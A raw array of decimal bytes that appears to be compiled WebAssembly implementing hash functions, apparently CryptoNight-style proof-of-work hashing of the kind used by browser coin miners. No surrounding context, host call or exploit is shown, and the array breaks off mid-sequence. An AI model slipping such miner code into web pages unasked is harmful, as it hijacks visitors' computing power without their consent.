34,13,32,25,32,23,124,34,28,124,32,16,66,9,124,32,10,66,5,134,32,10,66,59,136,132,32,11,133,124,34,10,124,33,12,32,10,66,33,134,32,10,66,31,136,132,32,12,133,34,10,32,11,32,15,124,32,9,66,37,134,32,9,66,27,136,132,32,13,133,32,26,124,34,9,124,34,13,124,33,11,32,10,66,46,134,32,10,66,18,136,132,32,11,133,34,10,32,9,66,25,134,32,9,66,39,136,132,32,13,133,34,9,32,12,124,34,13,124,33,12,32,10,66,22,134,32,10,66,42,136,132,32,12,133,34,10,32,9,66,12,134,32,9,66,52,136,132,32,13,133,34,9,32,11,124,34,13,124,33,11,32,9,66,58,134,32,9,66,6,136,132,32,13,133,34,9,32,12,124,34,13,32,14,32,16,124,34,26,124,32,22,66,10,124,32,10,66,32,134,32,10,66,32,136,132,32,11,133,124,34,10,124,33,12,32,10,66,16,134,32,10,66,48,136,132,32,12,133,34,10,32,11,32,17,124,32,9,66,32,134,32,9,66,32,136,132,32,13,133,32,28,124,34,9,124,34,13,124,33,11,32,10,66,52,134,32,10,66,12,136,132,32,11,133,34,10,32,9,66,14,134,32,9,66,50,136,132,32,13,133,34,9,32,12,124,34,13,124,33,12,32,10,66,40,134,32,10,66,24,136,132,32,12,133,34,10,32,9,66,57,134,32,9,66,7,136,132,32,13,133,34,9,32,11,124,34,13,124,33,11,32,9,66,23,134,32,9,66,41,136,132,32,13,133,34,9,32,12,124,34,13,32,27,32,22,124,34,28,124,32,15,66,11,124,32,10,66,5,134,32,10,66,59,136,132,32,11,133,124,34,10,124,33,12,32,10,66,33,134,32,10,66,31,136,132,32,12,133,34,10,32,11,32,23,124,32,9,66,37,134,32,9,66,27,136,132,32,13,133,32,26,124,34,9,124,34,13,124,33,11,32,10,66,46,134,32,10,66,18,136,132,32,11,133,34,10,32,9,66,25,134,32,9,66,39,136,132,32,13,133,34,9,32,12,124,34,13,124,33,12,32,10,66,22,134,32,10,66,42,136,132,32,12,133,34,10,32,9,66,12,134,32,9,66,52,136,132,32,13,133,34,9,32,11,124,34,13,124,33,11,32,9,66,58,134,32,9,66,6,136,132,32,13,133,34,9,32,12,124,34,13,32,15,32,25,124,34,26,124,32,17,66,12,124,32,10,66,32,134,32,10,66,32,136,132,32,11,133,124,34,10,124,33,12,32,10,66,16,134,32,10,66,48,136,132,32,12,133,34,10,32,11,32,16,124,32,9,66,32,134,32,9,66,32,136,132,32,13,133,32,28,124,34,9,124,34,13,124,33,11,32,10,66,52,134,32,10,66,12,136,132,32,11,133,34,10,32,9,66,14,134,32,9,66,50,136,132,32,13,133,34,9,32,12,124,34,13,124,33,12,32,10,66,40,134,32,10,66,24,136,132,32,12,133,34,10,32,9,66,57,134,32,9,66,7,136,132,32,13,133,34,9,32,11,124,34,13,124,33,11,32,9,66,23,134,32,9,66,41,136,132,32,13,133,34,9,32,12,124,34,12,32,14,32,17,124,34,13,124,32,23,66,13,124,32,10,66,5,134,32,10,66,59,136,132,32,11,133,124,34,14,124,33,10,32,14,66,33,134,32,14,66,31,136,132,32,10,133,34,14,32,11,32,22,124,32,9,66,37,134,32,9,66,27,136,132,32,12,133,32,26,124,34,9,124,34,12,124,33,11,32,14,66,46,134,32,14,66,18,136,132,32,11,133,34,14,32,9,66,25,134,32,9,66,39,136,132,32,12,133,34,9,32,10,124,34,12,124,33,10,32,14,66,22,134,32,14,66,42,136,132,32,10,133,34,14,32,9,66,12,134,32,9,66,52,136,132,32,12,133,34,9,32,11,124,34,12,124,33,11,32,9,66,58,134,32,9,66,6,136,132,32,12,133,34,9,32,10,124,34,12,32,20,124,32,16,66,14,124,32,14,66,32,134,32,14,66,32,136,132,32,11,133,124,34,14,124,33,10,32,14,66,16,134,32,14,66,48,136,132,32,10,133,34,14,32,11,32,15,124,32,9,66,32,134,32,9,66,32,136,132,32,12,133,32,13,124,34,9,124,34,12,124,33,11,32,14,66,52,134,32,14,66,12,136,132,32,11,133,34,14,32,9,66,14,134,32,9,66,50,136,132,32,12,133,34,9,32,10,124,34,12,124,33,10,32,14,66,40,134,32,14,66,24,136,132,32,10,133,34,14,32,9,66,57,134,32,9,66,7,136,132,32,12,133,34,9,32,11,124,34,12,124,33,11,32,9,66,23,134,32,9,66,41,136,132,32,12,133,34,9,32,10,124,34,12,32,18,124,32,22,66,15,124,32,14,66,5,134,32,14,66,59,136,132,32,11,133,124,34,14,124,33,10,32,14,66,33,134,32,14,66,31,136,132,32,10,133,34,14,32,11,32,17,124,32,9,66,37,134,32,9,66,27,136,132,32,12,133,32,20,124,34,20,124,34,11,124,33,9,32,14,66,46,134,32,14,66,18,136,132,32,9,133,34,14,32,20,66,25,134,32,20,66,39,136,132,32,11,133,34,20,32,10,124,34,11,124,33,10,32,14,66,22,134,32,14,66,42,136,132,32,10,133,34,14,32,20,66,12,134,32,20,66,52,136,132,32,11,133,34,20,32,9,124,34,11,124,33,9,32,20,66,58,134,32,20,66,6,136,132,32,11,133,34,20,32,10,124,34,10,32,24,124,32,15,66,16,124,32,14,66,32,134,32,14,66,32,136,132,32,9,133,124,34,15,124,33,14,32,15,66,16,134,32,15,66,48,136,132,32,14,133,34,15,32,9,32,23,124,32,20,66,32,134,32,20,66,32,136,132,32,10,133,32,18,124,34,18,124,34,9,124,33,20,32,15,66,52,134,32,15,66,12,136,132,32,20,133,34,15,32,18,66,14,134,32,18,66,50,136,132,32,9,133,34,18,32,14,124,34,9,124,33,14,32,15,66,40,134,32,15,66,24,136,132,32,14,133,34,15,32,18,66,57,134,32,18,66,7,136,132,32,9,133,34,18,32,20,124,34,9,124,33,20,32,18,66,23,134,32,18,66,41,136,132,32,9,133,34,18,32,14,124,34,14,32,19,124,32,17,66,17,124,32,15,66,5,134,32,15,66,59,136,132,32,20,133,124,34,17,124,33,15,32,17,66,33,134,32,17,66,31,136,132,32,15,133,34,17,32,20,32,16,124,32,18,66,37,134,32,18,66,27,136,132,32,14,133,32,24,124,34,16,124,34,18,124,33,14,32,16,66,25,134,32,16,66,39,136,132,32,18,133,34,16,32,15,124,33,15,32,16,66,12,134,32,16,66,52,136,132,32,15,133,34,16,32,14,124,33,18,32,16,66,58,134,32,16,66,6,136,132,32,18,133,34,16,32,17,66,46,134,32,17,66,18,136,132,32,14,133,34,17,32,15,124,34,15,124,33,14,32,8,32,17,66,22,134,32,17,66,42,136,132,32,15,133,34,24,32,18,124,34,18,32,22,124,32,34,133,34,17,55,3,0,32,7,32,16,66,32,134,32,16,66,32,136,132,32,14,133,32,19,124,32,35,133,34,15,55,3,0,32,6,32,14,32,21,124,32,32,133,34,16,55,3,0,32,5,32,23,66,18,124,32,24,66,32,134,32,24,66,32,136,132,32,18,133,124,32,33,133,34,22,55,3,0,32,25,66,255,255,255,255,255,255,255,255,191,127,131,33,25,32,2,65,127,106,34,2,4,64,32,0,33,1,32,15,33,23,12,1,11,11,32,3,32,31,32,30,66,1,124,32,29,126,124,55,3,0,32,4,32,25,55,3,0,11,178,23,2,59,127,45,126,35,4,33,4,35,4,65,192,2,106,36,4,32,4,32,0,65,8,106,34,8,41,3,0,34,64,55,3,0,32,4,65,8,106,34,6,32,0,65,16,106,34,9,41,3,0,34,63,55,3,0,32,3,173,33,91,32,4,65,24,106,33,5,32,4,65,32,106,33,10,32,4,65,40,106,33,11,32,4,65,48,106,33,12,32,4,65,56,106,33,13,32,4,65,192,0,106,33,14,32,4,65,200,0,106,33,15,32,4,65,208,0,106,33,16,32,4,65,216,0,106,33,17,32,4,65,224,0,106,33,18,32,4,65,232,0,106,33,19,32,4,65,240,0,106,33,20,32,4,65,248,0,106,33,21,32,4,65,128,1,106,33,22,32,4,65,136,1,106,33,23,32,4,65,144,1,106,33,24,32,4,65,152,1,106,33,25,32,4,65,16,106,33,26,32,1,33,3,32,64,33,84,32,0,65,24,106,34,27,41,3,0,33,72,32,0,65,32,106,34,28,41,3,0,33,76,32,0,65,40,106,34,29,41,3,0,33,74,32,0,65,48,106,34,30,41,3,0,33,73,32,0,65,56,106,34,31,41,3,0,33,75,32,0,65,192,0,106,34,32,41,3,0,33,70,32,0,65,200,0,106,34,33,41,3,0,33,71,32,0,65,208,0,106,34,34,41,3,0,33,66,32,0,65,216,0,106,34,35,41,3,0,33,77,32,0,65,224,0,106,34,36,41,3,0,33,68,32,0,65,232,0,106,34,37,41,3,0,33,67,32,0,65,240,0,106,34,38,41,3,0,33,69,32,0,65,248,0,106,34,39,41,3,0,33,78,32,0,65,128,1,106,34,40,41,3,0,33,81,32,0,65,136,1,106,34,41,41,3,0,33,65,32,0,65,144,1,106,34,42,41,3,0,33,64,3,64,32,4,32,84,32,91,124,34,82,55,3,0,32,5,32,72,55,3,0,32,10,32,76,55,3,0,32,11,32,74,55,3,0,32,12,32,73,55,3,0,32,13,32,75,55,3,0,32,14,32,70,55,3,0,32,15,32,71,55,3,0,32,16,32,66,55,3,0,32,17,32,77,55,3,0,32,18,32,68,55,3,0,32,19,32,67,55,3,0,32,20,32,69,55,3,0,32,21,32,78,55,3,0,32,22,32,81,55,3,0,32,23,32,65,55,3,0,32,24,32,64,55,3,0,32,25,32,64,66,162,180,240,207,170,251,198,232,27,133,32,65,133,32,81,133,32,78,133,32,69,133,32,67,133,32,68,133,32,77,133,32,66,133,32,71,133,32,70,133,32,75,133,32,73,133,32,74,133,32,76,133,32,72,133,55,3,0,32,26,32,82,32,63,133,55,3,0,65,1,33,1,32,3,41,0,0,34,92,32,72,124,33,72,32,3,41,0,8,34,93,32,76,124,33,76,32,3,41,0,16,34,94,32,74,124,33,74,32,3,41,0,24,34,95,32,73,124,33,73,32,3,41,0,32,34,96,32,75,124,33,75,32,3,41,0,40,34,97,32,70,124,33,70,32,3,41,0,48,34,98,32,71,124,33,71,32,3,41,0,56,34,99,32,66,124,33,66,32,3,41,0,64,34,100,32,77,124,33,77,32,3,41,0,72,34,101,32,68,124,33,68,32,3,41,0,80,34,102,32,67,124,33,67,32,3,41,0,88,34,103,32,69,124,33,69,32,3,41,0,96,34,104,32,78,124,33,78,32,3,41,0,120,34,105,32,64,124,33,63,32,3,41,0,112,34,106,32,65,124,32,6,41,3,0,124,33,64,32,82,32,81,124,32,3,41,0,104,34,107,124,33,65,3,64,32,76,66,24,134,32,76,66,40,136,132,32,76,32,72,124,34,76,133,33,85,32,73,66,13,134,32,73,66,51,136,132,32,73,32,74,124,34,73,133,33,79,32,70,66,8,134,32,70,66,56,136,132,32,70,32,75,124,34,70,133,33,84,32,66,66,47,134,32,66,66,17,136,132,32,66,32,71,124,34,66,133,33,75,32,69,66,17,134,32,69,66,47,136,132,32,69,32,67,124,34,67,133,34,80,32,66,124,33,81,32,63,66,37,134,32,63,66,27,136,132,32,64,32,63,124,34,69,133,34,82,32,70,124,33,71,32,67,32,75,124,34,66,32,75,66,49,134,32,75,66,15,136,132,133,34,83,32,68,66,8,134,32,68,66,56,136,132,32,68,32,77,124,34,64,133,34,72,32,76,124,34,68,124,33,88,32,65,66,22,134,32,65,66,42,136,132,32,65,32,78,124,34,63,133,34,74,32,73,124,34,67,32,69,32,84,124,34,69,32,84,66,23,134,32,84,66,41,136,132,133,34,65,124,34,78,32,65,66,4,134,32,65,66,60,136,132,133,33,86,32,63,32,79,124,34,65,32,79,66,18,134,32,79,66,46,136,132,133,34,75,32,71,124,33,84,32,81,32,64,32,85,124,34,64,32,85,66,52,134,32,85,66,12,136,132,133,34,77,124,34,63,32,77,66,13,134,32,77,66,51,136,132,133,33,79,32,82,66,55,134,32,82,66,9,136,132,32,71,133,34,70,32,65,124,33,71,32,74,66,19,134,32,74,66,45,136,132,32,67,133,34,65,32,69,124,33,77,32,80,66,10,134,32,80,66,54,136,132,32,81,133,34,69,32,64,124,33,67,32,65,66,41,134,32,65,66,23,136,132,32,77,133,34,81,32,63,124,33,82,32,75,66,51,134,32,75,66,13,136,132,32,84,133,34,65,32,72,66,38,134,32,72,66,26,136,132,32,68,133,34,64,32,66,124,34,63,124,33,72,32,70,66,34,134,32,70,66,30,136,132,32,71,133,34,76,32,88,124,34,74,32,5,32,1,65,3,116,106,34,43,41,3,0,124,33,73,32,77,32,79,124,34,75,32,79,66,47,134,32,79,66,17,136,132,133,32,5,32,1,65,1,106,34,7,65,3,116,106,34,44,41,3,0,124,33,79,32,69,66,59,134,32,69,66,5,136,132,32,67,133,34,66,32,78,124,34,69,32,5,32,1,65,2,106,34,0,65,3,116,106,34,45,41,3,0,124,33,70,32,65,66,16,134,32,65,66,48,136,132,32,72,133,32,5,32,1,65,3,106,34,46,65,3,116,106,34,47,41,3,0,124,33,80,32,5,32,1,65,4,106,65,3,116,106,34,48,41,3,0,32,84,32,64,66,17,134,32,64,66,47,136,132,32,63,133,34,68,124,34,78,124,33,65,32,86,66,28,134,32,86,66,36,136,132,32,86,32,67,124,34,64,133,32,5,32,1,65,5,106,65,3,116,106,34,49,41,3,0,124,33,87,32,5,32,1,65,6,106,65,3,116,106,34,50,41,3,0,33,77,32,5,32,1,65,7,106,65,3,116,106,34,51,41,3,0,32,71,32,83,66,33,134,32,83,66,31,136,132,32,88,133,34,67,124,34,63,32,67,66,25,134,32,67,66,39,136,132,133,124,33,85,32,5,32,1,65,8,106,65,3,116,106,34,52,41,3,0,32,64,124,33,71,32,5,32,1,65,9,106,65,3,116,106,34,53,41,3,0,32,68,66,41,134,32,68,66,23,136,132,32,78,133,124,33,83,32,5,32,1,65,10,106,65,3,116,106,34,54,41,3,0,32,72,124,33,64,32,5,32,1,65,11,106,65,3,116,106,34,55,41,3,0,32,66,66,20,134,32,66,66,44,136,132,32,69,133,124,33,72,32,5,32,1,65,12,106,65,3,116,106,34,56,41,3,0,32,63,124,33,66,32,5,32,1,65,13,106,65,3,116,106,34,57,41,3,0,32,81,66,48,134,32,81,66,16,136,132,32,82,133,124,32,4,32,1,65,3,116,106,34,58,41,3,0,124,33,86,32,5,32,1,65,14,106,65,3,116,106,34,59,41,3,0,33,68,32,4,32,7,65,3,116,106,34,60,41,3,0,33,67,32,76,66,5,134,32,76,66,59,136,132,32,74,133,32,1,173,34,88,124,32,5,32,1,65,15,106,65,3,116,106,34,61,41,3,0,124,33,74,32,5,32,1,65,16,106,65,3,116,106,34,62,32,5,32,1,65,127,106,34,7,65,3,116,106,41,3,0,55,3,0,32,4,32,0,65,3,116,106,32,4,32,7,65,3,116,106,41,3,0,34,84,55,3,0,32,79,66,41,134,32,79,66,23,136,132,32,73,32,79,124,34,69,133,33,79,32,80,66,9,134,32,80,66,55,136,132,32,70,32,80,124,34,78,133,33,80,32,87,66,37,134,32,87,66,27,136,132,32,65,32,87,124,34,65,133,33,81,32,85,32,77,124,32,82,124,34,63,32,85,66,31,134,32,85,66,33,136,132,133,33,73,32,72,66,47,134,32,72,66,17,136,132,32,64,32,72,124,34,64,133,34,72,32,63,124,33,76,32,74,66,30,134,32,74,66,34,136,132,32,68,32,75,124,32,67,124,32,74,124,34,63,133,34,74,32,65,124,33,70,32,64,32,73,124,34,77,32,73,66,4,134,32,73,66,60,136,132,133,34,90,32,83,66,12,134,32,83,66,52,136,132,32,71,32,83,124,34,67,133,34,83,32,69,124,34,68,124,33,87,32,63,32,81,124,34,69,32,81,66,42,134,32,81,66,22,136,132,133,34,71,32,86,66,44,134,32,86,66,20,136,132,32,66,32,86,124,34,63,133,34,73,32,78,124,34,78,124,33,75,32,70,32,63,32,80,124,34,64,32,80,66,53,134,32,80,66,11,136,132,133,34,63,124,34,65,32,63,66,47,134,32,63,66,17,136,132,133,33,89,32,76,32,79,66,41,134,32,79,66,23,136,132,32,79,32,67,124,34,63,133,34,66,124,34,67,32,66,66,46,134,32,66,66,18,136,132,133,33,80,32,74,66,51,134,32,74,66,13,136,132,32,70,133,34,66,32,64,124,33,85,32,71,66,44,134,32,71,66,20,136,132,32,75,133,34,70,32,72,66,56,134,32,72,66,8,136,132,32,76,133,34,71,32,63,124,34,63,124,33,86,32,66,66,19,134,32,66,66,45,136,132,32,85,133,34,79,32,87,124,34,81,32,44,41,3,0,124,33,72,32,73,66,34,134,32,73,66,30,136,132,32,78,133,34,66,32,69,124,34,64,32,80,124,34,82,32,80,66,23,134,32,80,66,41,136,132,133,32,45,41,3,0,124,33,76,32,47,41,3,0,32,75,32,71,66,44,134,32,71,66,20,136,132,32,63,133,34,80,124,34,69,124,33,74,32,89,66,37,134,32,89,66,27,136,132,32,89,32,83,66,16,134,32,83,66,48,136,132,32,68,133,34,68,32,77,124,34,63,124,34,78,133,32,48,41,3,0,124,33,73,32,49,41,3,0,32,65,32,68,66,25,134,32,68,66,39,136,132,32,63,133,34,68,124,34,65,124,33,75,32,70,66,31,134,32,70,66,33,136,132,32,86,133,32,50,41,3,0,124,33,70,32,51,41,3,0,32,66,66,42,134,32,66,66,22,136,132,32,64,133,34,83,32,67,124,34,64,124,33,71,32,52,41,3,0,32,85,32,90,66,31,134,32,90,66,33,136,132,32,87,133,34,67,124,34,63,32,67,66,20,134,32,67,66,44,136,132,133,124,33,66,32,53,41,3,0,32,86,124,33,77,32,54,41,3,0,32,65,32,68,66,52,134,32,68,66,12,136,132,133,124,33,68,32,55,41,3,0,32,78,124,33,67,32,56,41,3,0,32,69,32,80,66,48,134,32,80,66,16,136,132,133,124,33,69,32,57,41,3,0,32,63,124,33,78,32,59,41,3,0,32,83,66,35,134,32,83,66,29,136,132,32,64,133,124,32,60,41,3,0,124,33,65,32,82,32,84,124,32,61,41,3,0,124,33,64,32,88,66,1,124,32,79,66,9,134,32,79,66,55,136,132,32,81,133,124,32,62,41,3,0,124,33,63,32,5,32,1,65,17,106,65,3,116,106,32,43,41,3,0,55,3,0,32,4,32,46,65,3,116,106,32,58,41,3,0,55,3,0,32,0,65,21,73,4,64,32,0,33,1,12,1,11,11,32,27,32,72,32,92,133,34,72,55,3,0,32,28,32,76,32,93,133,34,76,55,3,0,32,29,32,74,32,94,133,34,74,55,3,0,32,30,32,73,32,95,133,34,73,55,3,0,32,31,32,75,32,96,133,34,75,55,3,0,32,32,32,70,32,97,133,34,70,55,3,0,32,33,32,71,32,98,133,34,71,55,3,0,32,34,32,66,32,99,133,34,66,55,3,0,32,35,32,77,32,100,133,34,77,55,3,0,32,36,32,68,32,101,133,34,68,55,3,0,32,37,32,67,32,102,133,34,67,55,3,0,32,38,32,69,32,103,133,34,69,55,3,0,32,39,32,78,32,104,133,34,78,55,3,0,32,40,32,65,32,107,133,34,65,55,3,0,32,41,32,64,32,106,133,34,64,55,3,0,32,42,32,63,32,105,133,34,63,55,3,0,32,6,32,6,41,3,0,66,255,255,255,255,255,255,255,255,191,127,131,34,82,55,3,0,32,2,65,127,106,34,2,4,64,32,3,65,128,1,106,33,3,32,4,41,3,0,33,84,32,65,33,81,32,64,33,65,32,63,33,64,32,82,33,63,12,1,11,11,32,8,32,4,41,3,0,55,3,0,32,9,32,82,55,3,0,32,4,36,4,11,212,18,1,34,127,35,4,33,2,35,4,65,192,0,106,36,4,32,2,32,1,45,0,1,65,16,116,32,1,45,0,0,65,24,116,114,32,1,45,0,2,65,8,116,114,32,1,45,0,3,114,54,2,0,32,2,32,1,45,0,5,65,16,116,32,1,45,0,4,65,24,116,114,32,1,45,0,6,65,8,116,114,32,1,45,0,7,114,54,2,4,32,2,32,1,45,0,9,65,16,116,32,1,45,0,8,65,24,116,114,32,1,45,0,10,65,8,116,114,32,1,45,0,11,114,54,2,8,32,2,32,1,45,0,13,65,16,116,32,1,45,0,12,65,24,116,114,32,1,45,0,14,65,8,116,114,32,1,45,0,15,114,54,2,12,32,2,32,1,45,0,17,65,16,116,32,1,45,0,16,65,24,116,114,32,1,45,0,18,65,8,116,114,32,1,45,0,19,114,54,2,16,32,2,32,1,45,0,21,65,16,116,32,1,45,0,20,65,24,116,114,32,1,45,0,22,65,8,116,114,32,1,45,0,23,114,54,2,20,32,2,32,1,45,0,25,65,16,116,32,1,45,0,24,65,24,116,114,32,1,45,0,26,65,8,116,114,32,1,45,0,27,114,54,2,24,32,2,32,1,45,0,29,65,16,116,32,1,45,0,28,65,24,116,114,32,1,45,0,30,65,8,116,114,32,1,45,0,31,114,54,2,28,32,2,32,1,45,0,33,65,16,116,32,1,45,0,32,65,24,116,114,32,1,45,0,34,65,8,116,114,32,1,45,0,35,114,54,2,32,32,2,32,1,45,0,37,65,16,116,32,1,45,0,36,65,24,116,114,32,1,45,0,38,65,8,116,114,32,1,45,0,39,114,54,2,36,32,2,32,1,45,0,41,65,16,116,32,1,45,0,40,65,24,116,114,32,1,45,0,42,65,8,116,114,32,1,45,0,43,114,54,2,40,32,2,32,1,45,0,45,65,16,116,32,1,45,0,44,65,24,116,114,32,1,45,0,46,65,8,116,114,32,1,45,0,47,114,54,2,44,32,2,32,1,45,0,49,65,16,116,32,1,45,0,48,65,24,116,114,32,1,45,0,50,65,8,116,114,32,1,45,0,51,114,54,2,48,32,2,32,1,45,0,53,65,16,116,32,1,45,0,52,65,24,116,114,32,1,45,0,54,65,8,116,114,32,1,45,0,55,114,54,2,52,32,2,32,1,45,0,57,65,16,116,32,1,45,0,56,65,24,116,114,32,1,45,0,58,65,8,116,114,32,1,45,0,59,114,54,2,56,32,2,32,1,45,0,61,65,16,116,32,1,45,0,60,65,24,116,114,32,1,45,0,62,65,8,116,114,32,1,45,0,63,114,54,2,60,32,0,40,2,0,33,11,32,0,65,4,106,34,23,40,2,0,33,12,32,0,65,8,106,34,24,40,2,0,33,14,32,0,65,12,106,34,25,40,2,0,33,15,32,0,65,16,106,34,26,40,2,0,33,1,32,0,65,20,106,34,27,40,2,0,33,3,32,0,65,24,106,34,28,40,2,0,33,4,32,0,65,28,106,34,29,40,2,0,33,5,32,0,65,32,106,34,30,40,2,0,65,136,213,253,161,2,115,33,13,32,0,65,36,106,34,31,40,2,0,65,211,145,140,173,120,115,33,16,32,0,65,40,106,34,32,40,2,0,65,174,148,230,152,1,115,33,17,32,0,65,44,106,34,33,40,2,0,65,196,230,193,27,115,33,18,32,0,40,2,60,4,127,65,162,240,164,160,122,33,9,65,208,227,252,204,2,33,6,65,152,245,187,193,0,33,10,65,137,217,185,226,126,33,7,65,0,5,32,0,40,2,48,34,6,65,162,240,164,160,122,115,33,9,32,6,65,208,227,252,204,2,115,33,6,32,0,40,2,52,34,7,65,152,245,187,193,0,115,33,10,32,7,65,137,217,185,226,126,115,33,7,65,0,11,33,8,3,64,32,1,32,11,106,32,8,65,4,116,65,145,60,106,45,0,0,34,11,65,2,116,65,144,42,106,40,2,0,32,2,32,8,65,4,116,65,144,60,106,45,0,0,34,19,65,2,116,106,40,2,0,115,106,34,20,32,9,115,34,9,65,16,116,32,9,65,16,118,114,34,9,32,13,106,34,13,32,1,115,34,1,65,20,116,32,1,65,12,118,114,33,1,32,3,32,12,106,32,8,65,4,116,65,147,60,106,45,0,0,34,12,65,2,116,65,144,42,106,40,2,0,32,2,32,8,65,4,116,65,146,60,106,45,0,0,34,21,65,2,116,106,40,2,0,115,106,34,22,32,6,115,34,6,65,16,116,32,6,65,16,118,114,34,6,32,16,106,34,16,32,3,115,34,3,65,20,116,32,3,65,12,118,114,33,3,32,22,32,21,65,2,116,65,144,42,106,40,2,0,32,2,32,12,65,2,116,106,40,2,0,115,106,32,3,106,34,12,32,6,115,34,6,65,24,116,32,6,65,8,118,114,34,6,32,16,106,34,16,32,3,115,34,3,65,25,116,32,3,65,7,118,114,33,3,32,4,32,14,106,32,8,65,4,116,65,149,60,106,45,0,0,34,14,65,2,116,65,144,42,106,40,2,0,32,2,32,8,65,4,116,65,148,60,106,45,0,0,34,21,65,2,116,106,40,2,0,115,106,34,22,32,10,115,34,10,65,16,116,32,10,65,16,118,114,34,10,32,17,106,34,17,32,4,115,34,4,65,20,116,32,4,65,12,118,114,33,4,32,22,32,21,65,2,116,65,144,42,106,40,2,0,32,2,32,14,65,2,116,106,40,2,0,115,106,32,4,106,34,14,32,10,115,34,10,65,24,116,32,10,65,8,118,114,34,10,32,17,106,34,17,32,4,115,34,4,65,25,116,32,4,65,7,118,114,33,4,32,5,32,15,106,32,8,65,4,116,65,151,60,106,45,0,0,34,15,65,2,116,65,144,42,106,40,2,0,32,2,32,8,65,4,116,65,150,60,106,45,0,0,34,21,65,2,116,106,40,2,0,115,106,34,22,32,7,115,34,7,65,16,116,32,7,65,16,118,114,34,7,32,18,106,34,18,32,5,115,34,5,65,20,116,32,5,65,12,118,114,33,5,32,22,32,21,65,2,116,65,144,42,106,40,2,0,32,2,32,15,65,2,116,106,40,2,0,115,106,32,5,106,34,15,32,7,115,34,7,65,24,116,32,7,65,8,118,114,34,7,32,18,106,34,18,32,5,115,34,5,65,25,116,32,5,65,7,118,114,33,5,32,8,65,4,116,65,159,60,106,45,0,0,34,21,65,2,116,65,144,42,106,40,2,0,32,2,32,8,65,4,116,65,158,60,106,45,0,0,34,22,65,2,116,106,40,2,0,115,32,20,32,19,65,2,116,65,144,42,106,40,2,0,32,2,32,11,65,2,116,106,40,2,0,115,106,32,1,106,34,11,32,9,115,34,9,65,24,116,32,9,65,8,118,114,34,9,32,13,106,34,13,32,1,115,34,1,65,25,116,32,1,65,7,118,114,34,1,106,32,15,106,34,15,32,10,115,34,10,65,16,116,32,10,65,16,118,114,34,10,32,16,106,34,16,32,1,115,34,1,65,20,116,32,1,65,12,118,114,33,1,32,15,32,22,65,2,116,65,144,42,106,40,2,0,32,2,32,21,65,2,116,106,40,2,0,115,106,32,1,106,34,15,32,10,115,34,10,65,24,116,32,10,65,8,118,114,34,10,32,16,106,34,16,32,1,115,34,1,65,25,116,32,1,65,7,118,114,33,1,32,8,65,4,116,65,157,60,106,45,0,0,34,19,65,2,116,65,144,42,106,40,2,0,32,2,32,8,65,4,116,65,156,60,106,45,0,0,34,20,65,2,116,106,40,2,0,115,32,14,106,32,5,106,34,14,32,6,115,34,6,65,16,116,32,6,65,16,118,114,34,6,32,13,106,34,13,32,5,115,34,5,65,20,116,32,5,65,12,118,114,33,5,32,14,32,20,65,2,116,65,144,42,106,40,2,0,32,2,32,19,65,2,116,106,40,2,0,115,106,32,5,106,34,14,32,6,115,34,6,65,24,116,32,6,65,8,118,114,34,6,32,13,106,34,13,32,5,115,34,5,65,25,116,32,5,65,7,118,114,33,5,32,3,32,11,106,32,8,65,4,116,65,153,60,106,45,0,0,34,11,65,2,116,65,144,42,106,40,2,0,32,2,32,8,65,4,116,65,152,60,106,45,0,0,34,19,65,2,116,106,40,2,0,115,106,34,20,32,7,115,34,7,65,16,116,32,7,65,16,118,114,34,7,32,17,106,34,17,32,3,115,34,3,65,20,116,32,3,65,12,118,114,33,3,32,20,32,19,65,2,116,65,144,42,106,40,2,0,32,2,32,11,65,2,116,106,40,2,0,115,106,32,3,106,34,11,32,7,115,34,7,65,24,116,32,7,65,8,118,114,34,7,32,17,106,34,17,32,3,115,34,3,65,25,116,32,3,65,7,118,114,33,3,32,4,32,12,106,32,8,65,4,116,65,155,60,106,45,0,0,34,12,65,2,116,65,144,42,106,40,2,0,32,2,32,8,65,4,116,65,154,60,106,45,0,0,34,19,65,2,116,106,40,2,0,115,106,34,20,32,9,115,34,9,65,16,116,32,9,65,16,118,114,34,9,32,18,106,34,18,32,4,115,34,4,65,20,116,32,4,65,12,118,114,33,4,32,20,32,19,65,2,116,65,144,42,106,40,2,0,32,2,32,12,65,2,116,106,40,2,0,115,106,32,4,106,34,12,32,9,115,34,9,65,24,116,32,9,65,8,118,114,34,9,32,18,106,34,18,32,4,115,34,4,65,25,116,32,4,65,7,118,114,33,4,32,8,65,1,106,34,8,65,14,71,13,0,11,32,23,40,2,0,33,8,32,24,40,2,0,33,19,32,25,40,2,0,33,20,32,26,40,2,0,33,21,32,27,40,2,0,33,22,32,28,40,2,0,33,34,32,29,40,2,0,33,35,32,0,32,13,32,11,115,32,0,40,2,0,115,32,30,40,2,0,34,0,115,54,2,0,32,23,32,12,32,16,115,32,8,115,32,31,40,2,0,34,11,115,54,2,0,32,24,32,17,32,14,115,32,19,115,32,32,40,2,0,34,13,115,54,2,0,32,25,32,18,32,15,115,32,20,115,32,33,40,2,0,34,12,115,54,2,0,32,26,32,9,32,1,115,32,21,115,32,0,115,54,2,0,32,27,32,3,32,6,115,32,22,115,32,11,115,54,2,0,32,28,32,4,32,10,115,32,34,115,32,13,115,54,2,0,32,29,32,5,32,7,115,32,35,115,32,12,115,54,2,0,32,2,36,4,11,126,1,4,127,32,0,65,128,131,128,1,106,34,4,40,2,0,34,1,69,4,64,32,0,16,12,15,11,32,1,40,2,0,34,2,4,64,32,2,40,2,4,34,3,4,64,32,3,16,12,32,1,40,2,0,65,0,54,2,4,32,1,40,2,0,33,2,11,32,2,40,2,12,34,3,4,64,32,3,16,12,32,1,40,2,0,65,0,54,2,12,32,1,40,2,0,33,2,11,32,2,16,12,32,1,65,0,54,2,0,32,4,40,2,0,33,1,11,32,1,16,12,32,0,16,12,11,130,8,2,14,127,1,126,35,4,33,3,35,4,65,16,106,36,4,65,144,131,128,1,16,16,34,2,4,64,32,2,65,124,106,40,2,0,65,3,113,4,64,32,2,65,0,65,144,131,128,1,16,14,26,11,11,65,24,16,16,34,0,69,4,64,32,2,65,128,131,128,1,106,65,0,54,2,0,32,3,36,4,32,2,15,11,32,0,65,124,106,40,2,0,65,3,113,4,64,32,0,66,0,55,0,0,32,0,66,0,55,0,8,32,0,66,0,55,0,16,11,32,3,16,7,26,32,3,16,8,33,1,32,3,47,1,4,34,6,16,16,34,4,69,34,7,69,4,64,32,4,65,124,106,40,2,0,65,3,113,4,64,32,4,65,0,32,6,16,14,26,11,11,32,1,40,2,20,33,8,32,1,40,2,16,33,9,32,1,40,2,12,33,10,32,1,40,2,8,33,11,32,1,40,2,4,33,12,32,1,40,2,0,33,1,35,4,33,5,35,4,65,16,106,36,4,65,20,32,5,16,5,33,13,32,5,36,